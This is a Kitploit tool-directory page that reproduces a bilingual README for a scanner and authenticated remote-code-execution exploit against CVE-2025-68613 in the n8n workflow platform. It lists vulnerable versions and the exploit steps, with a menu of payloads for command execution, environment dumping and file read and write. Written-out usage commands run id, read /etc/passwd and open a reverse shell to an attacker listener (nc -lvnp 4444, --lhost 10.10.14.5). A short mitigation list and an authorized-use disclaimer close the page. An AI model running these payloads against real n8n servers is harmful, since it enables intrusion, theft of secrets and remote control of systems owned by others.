Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
n8n-cve-2025-68613 — Authenticated RCE exploit PoC and vulnerability scanner for CVE-2025-68613 in n8n. Supports command execution, file operations, and reverse shell payloads for authorized security testing. | Kitploit
Tools/GitHubGitHub/gagaltotal/n8n-cve-2025-68613
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlLearning & EducationRemote Access ToolPayload Development
GitHub
gagaltotal/n8n-cve-2025-68613

n8n-cve-2025-68613

Authenticated RCE exploit PoC and vulnerability scanner for CVE-2025-68613 in n8n. Supports command execution, file operations, and reverse shell payloads for authorized security testing.

View RepositoryWebsite
108 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-68613 – n8n Expression Injection RCE

Python Security CVE Status

Toolkit ini menyediakan scanner dan exploit PoC untuk kerentanan kritis CVE-2025-68613 pada n8n Workflow Automation Platform.

This repository provides scanner and exploit PoC scripts for the critical CVE-2025-68613 vulnerability affecting n8n Workflow Automation Platform.


WARNING / PERINGATAN

Bahasa Indonesia

Tool ini HANYA untuk pengujian keamanan yang SAH dan BERIZIN. Dilarang menggunakan tool ini pada sistem tanpa izin pemilik.

English

This tool is ONLY for authorized and legal security testing. Unauthorized usage is illegal and prohibited.


Vulnerability Overview

  • CVE ID : CVE-2025-68613
  • Severity : Critical
  • CVSS : 10.0
  • Type : Expression Injection → Remote Code Execution (RCE)
  • Product : n8n Workflow Automation Platform

Vulnerable Versions

  • 0.211.0 – 1.120.3
  • 1.121.0

Patched Versions

  • 1.120.4+
  • 1.121.1+
  • 1.122.0+

Repository Structure

root@kitploit:~
.
├── tot-scanner-2025-68613.py   # Vulnerability Scanner (NO exploit)
├── tot-exploit-2025-68613.py   # Authenticated RCE Exploit PoC
├── requirements.txt
└── README.md

Scanner (Non-Exploit)

Scanner digunakan untuk:

  • Mendeteksi service n8n
  • Mengekstrak versi n8n
  • Menentukan status kerentanan
  • Tidak melakukan eksploitasi
  • Mendukung output JSON

The scanner:

  • Detects n8n service
  • Extracts n8n version
  • Determines vulnerability status
  • No exploitation
  • Supports JSON output

Scanner memeriksa endpoint berikut:

  • /
  • /rest/settings
  • /healthz
  • /api/v1/health

Dependencies / Requirements

Bahasa Indonesia

Package yang dibutuhkan:

  • requests

Isi file requirements.txt:

root@kitploit:~
requests>=2.28.0

English

Required packages:

  • requests

requirements.txt content:

root@kitploit:~
requests>=2.28.0

Installation

root@kitploit:~
pip install -r requirements.txt

Scanner Usage

root@kitploit:~
python3 tot-scanner-2025-68613.py -u http://target.com:5678

Scanner JSON Mode

root@kitploit:~
python3 tot-scanner-2025-68613.py -u http://target.com:5678 --json

Scanner JSON Output Example

root@kitploit:~
{
  "target": "http://target.com:5678",
  "detected": true,
  "version": "1.121.0",
  "vulnerable": true,
  "status": "vulnerable",
  "cve": "CVE-2025-68613"
}

Scanner Exit Codes

CodeMeaning
0Not vulnerable
1Version unknown
2Vulnerable

Exploit PoC (Authenticated RCE)

Exploit ini MEMBUTUHKAN kredensial n8n yang valid
Authenticated access is REQUIRED

Exploit bekerja dengan:

  1. Login ke n8n
  2. Membuat workflow
  3. Menyisipkan malicious expression pada node Set
  4. Menjalankan workflow
  5. (Opsional) Cleanup workflow

Exploit Arguments

ArgumentRequiredDescription
-u / --url✅Target n8n URL
-e / --email✅n8n account email
-p / --password✅n8n account password
--payload✅Payload type
--command❌OS command (cmd)
--file❌File path (read/write)
--content❌File content (write)
--lhost❌Attacker IP (revshell)
--lport❌Attacker port (revshell)
--verify-ssl❌Verify SSL certificate

Supported Payloads

PayloadFunction
infoSystem information
cmdCommand execution
envEnvironment dump
readRead file
writeWrite file
revshellReverse shell

Screen Capture

Exploit Examples

System Information

root@kitploit:~
python3 tot-exploit-2025-68613.py  -u http://target.com:5678  -e [email protected]  -p password  --payload info

Command Execution

root@kitploit:~
python3 tot-exploit-2025-68613.py  -u http://target.com:5678  -e [email protected]  -p password  --payload cmd  --command "id"

Read File

root@kitploit:~
python3 tot-exploit-2025-68613.py  -u http://target.com:5678  -e [email protected]  -p password  --payload read  --file /etc/passwd

Write File

root@kitploit:~
python3 tot-exploit-2025-68613.py  -u http://target.com:5678  -e [email protected]  -p password  --payload write  --file /tmp/pwned.txt  --content "owned"

Reverse Shell

root@kitploit:~
nc -lvnp 4444
root@kitploit:~
python3 tot-exploit-2025-68613.py  -u http://target.com:5678  -e [email protected]  -p password  --payload revshell  --lhost 10.10.14.5  --lport 4444

Mitigation

  • Upgrade n8n to patched versions
  • Restrict access to /rest/* endpoints
  • Enforce RBAC and strong authentication
  • Audit unknown workflows

Disclaimer

This project is provided for educational and authorized security testing only.
The author is not responsible for misuse.


GitHub Topics

root@kitploit:~
n8n
cve
cve-2025-68613
rce
expression-injection
security
pentest
red-team
blue-team
python

Stay legal. Stay ethical.

Download Tool